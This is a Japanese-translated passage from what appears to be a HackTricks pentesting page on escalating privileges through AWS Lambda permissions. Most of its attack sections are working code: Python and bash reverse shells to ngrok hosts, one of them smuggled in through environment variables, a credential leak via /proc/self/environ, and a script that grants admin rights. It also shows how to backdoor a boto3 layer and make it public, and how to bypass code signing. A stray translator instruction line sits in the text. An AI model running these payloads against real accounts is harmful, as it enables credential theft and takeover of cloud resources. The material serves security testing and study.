# AWS - Lambda Privesc {{#include ../../../../banners/hacktricks-training.md}} ## lambda lambda に関する詳細情報は: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) これらの **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** 権限を持つユーザーは権限を昇格できます。\ 彼らは **新しい Lambda function を作成し既存の IAM role を割り当てる** ことで、そのロールに紐づく権限を関数に付与できます。ユーザーはその後 **この Lambda function にコードを書きアップロードする(例:rev shell)** ことができます。\ 関数がセットアップされると、ユーザーは AWS API 経由で Lambda function を呼び出して、**実行をトリガー**し意図した操作を行わせることができます。この手法により、ユーザーは Lambda function を介して間接的に操作を実行でき、その関数に紐づく IAM role に付与されたアクセスレベルで動作します。\\ A attacker could abuse this to get a **rev shell and steal the token**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('4.tcp.ngrok.io',14305)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i']) time.sleep(900) return 0 ``` ```bash # Zip the rev shell zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ --runtime python3.9 --role \ --handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt ## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL # List roles aws iam list-attached-user-policies --user-name ``` lambda function自体から、**abuse the lambda role permissions**することもできます.\ もしlambda roleに十分な権限があれば、それを使って自分にadmin rightsを付与することができます: ```python import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` 外部接続を必要とせずに lambda の role credentials を leak することも可能です。これは内部タスクで使用される **Network isolated Lambdas** に役立ちます。不明な security groups によって reverse shells がフィルタされている場合、このコードにより lambda の出力として credentials を直接 leak できます。 ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() return { 'statusCode': 200, 'session': str(sessiontoken) } ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` **Potential Impact:** 指定された任意の lambda サービスロールへの直接 privesc。 > [!CAUTION] > たとえ興味深く見えても **`lambda:InvokeAsync`** **だけでは** **`aws lambda invoke-async` を実行する**ことはできず、`lambda:InvokeFunction` も必要です。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` 前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、**自分に `lambda:InvokeFunction` の権限を付与することができます**。 ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` **潜在的な影響:** 指定された任意の lambda サービスロールへの直接的な privesc. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` `**`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** の権限(および場合によっては `dynamodb:PutItem` と `dynamodb:CreateTable`)を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます.\\ 彼らは、悪意のあるコードを含む **Lambda function を作成し、既存の IAM role を割り当てる** ことができます。 ユーザーは Lambda を直接呼び出す代わりに、既存の DynamoDB テーブルをセットアップまたは利用し、それを event source mapping を通じて Lambda に紐付けます。こうすることで、Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる**(ユーザーの操作または他のプロセスによる)ため、Lambda を間接的に呼び出して、渡された IAM role の権限でコードが実行されます。 ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` もし AWS 環境ですでに DynamoDB が有効であれば、ユーザーは Lambda 関数のために **event source mapping を設定するだけでよい**。しかし、DynamoDB が使われていない場合は、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する** 必要がある: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ --key-schema AttributeName=Test,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` これで、**connect the Lambda function to the DynamoDB table**を**creating an event source mapping**によって接続できます: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` Lambda functionがDynamoDB streamにリンクされている場合、attackerは**DynamoDB streamを有効化することで間接的にLambdaをトリガーできます**。これはDynamoDB tableに**アイテムを挿入すること**で実行できます: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` **Potential Impact:** 指定された lambda サービスロールへの直接的な privesc。 ### `lambda:AddPermission` この権限を持つ攻撃者は、**自身(または他者)に任意の権限を付与することができる**(これはリソースベースのポリシーを生成してリソースへのアクセスを付与する): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: # Invoke the function aws lambda invoke --function-name /tmp/outout ``` **潜在的な影響:** コードの変更と実行を許可する権限を付与することで、lambdaサービスロールへの直接的なprivescが可能になる。 ### `lambda:AddLayerVersionPermission` この権限を持つ攻撃者は **自分自身(または他者)に権限 `lambda:GetLayerVersion` を付与できる**。レイヤーにアクセスして、脆弱性や機密情報を探すことができる。 ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` **Potential Impact:** 機密情報へのアクセスの可能性。 ### `lambda:UpdateFunctionCode` **`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAM ロールに紐付いた既存の Lambda 関数のコードを変更する可能性があります。**\ 攻撃者は **Lambda のコードを変更して IAM 資格情報を exfiltrate することができます。** 攻撃者が関数を直接実行する権限を持っていない場合でも、Lambda 関数が既に存在し稼働中であれば、既存のワークフローやイベントを介してトリガーされる可能性が高く、結果として変更されたコードの実行を間接的に促進します。 ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ --zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` **Potential Impact:** 使用されている lambda サービスロールへの直接的な privesc. ### `lambda:UpdateFunctionConfiguration` #### RCE via env variables この権限があれば、Lambda を任意のコードを実行させるような environment variables を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` 他のスクリプト言語については、使用できる他の env 変数があります。詳細は次のスクリプト言語のサブセクションを参照してください: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}} #### RCE via Lambda Layers [**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、lamdba function に **code** を含めることを可能にしますが、**storing it separately** することで関数のコードを小さく保て、**several functions can share code**。 lambda の内部では、次のような関数で python code が読み込まれるパスを確認できます: ```python import json import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` These are the places: 1. /var/task 2. /opt/python/lib/python3.7/site-packages 3. /opt/python 4. /var/runtime 5. /var/lang/lib/python37.zip 6. /var/lang/lib/python3.7 7. /var/lang/lib/python3.7/lib-dynload 8. /var/lang/lib/python3.7/site-packages 9. /opt/python/lib/python3.7/site-packages 10. /opt/python For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). #### Exploitation `lambda:UpdateFunctionConfiguration` の権限を悪用して、lambda 関数に **add a new layer** することが可能です。任意のコードを実行するには、この layer に lambda が import するような何らかの **library** を含める必要があります。lambda のコードを読めれば簡単に見つけられますし、lambda が **already using a layer** の場合があり、その layer を **download** して、そこに **add your code** することもできます。 For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: ```bash pip3 install -t ./lambda_layer boto3 ``` `./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます(例: exfiltrate credentials を行う関数や reverse shell を取得する関数など)。 その後、`./lambda_layer` ディレクトリを zip にして、**new lambda layer を自分のアカウントに upload**します(または被害者のアカウントにアップロードすることもできますが、権限がない場合があります)。\ Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` 次に、アップロードした lambda layer を **任意のアカウントからアクセス可能にする**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` そして、lambda layer を victim lambda function にアタッチします: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` 次のステップは、可能であれば自分で**関数を呼び出す**か、通常の手段で**呼び出される**のを待つことです — こちらがより安全な方法です。 A **この脆弱性をよりステルスに悪用する方法**は次を参照してください: {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} **Potential Impact:** 使用されている lambda service role への Direct privesc。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` これらの権限があれば、関数を作成して URL を呼び出して実行できるかもしれません…しかしテスト方法は見つけられなかったので、見つけたら教えてください! ### Lambda MitM 一部の lambdas はパラメータでユーザーからの **機密情報を受け取っている** ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーがそれに送っている情報を外部に持ち出せます。詳細は以下を参照してください: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} ## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) ### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これは関数の IAM role やトリガーを変更せずに整合性保護をバイパスします。 Permissions (one of): - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` Notes: - Path B の場合、CSC ポリシーが `WARN`(unsigned artifacts allowed)に設定されていれば、AWS Signer プロファイルは不要です。 Steps (REGION=us-east-1, TARGET_FN=): Prepare a small payload: ```bash cat > handler.py <<'PY' import os, json def lambda_handler(event, context): return {"pwn": True, "env": list(os.environ)[:6]} PY zip backdoor.zip handler.py ``` パス A) CSC を削除してからコードを更新: ```bash aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 if [ "$HAS_CSC" -eq 1 ]; then aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION fi aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` パス B) Warn にダウングレードしてコードを更新する(削除が許可されていない場合): ```bash CSC_ARN=$(aws lambda create-code-signing-config \ --description ht-warn-csc \ --code-signing-policies UntrustedArtifactOnDeployment=WARN \ --query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` 確認しました。指定どおり、コード、タグ、リンク、パス、クラウド/SaaSプラットフォーム名、ハッキング用語などは翻訳せず、Markdown/HTML構文をそのまま維持して翻訳します。 ```bash aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null cat /tmp/out.json ``` 潜在的な影響: 署名されたデプロイを強制するはずの関数に、任意の署名されていないコードをプッシュして実行できる可能性があり、結果として関数ロールの権限でコードが実行される恐れがある。 クリーンアップ: ```bash aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true ``` {{#include ../../../../banners/hacktricks-training.md}}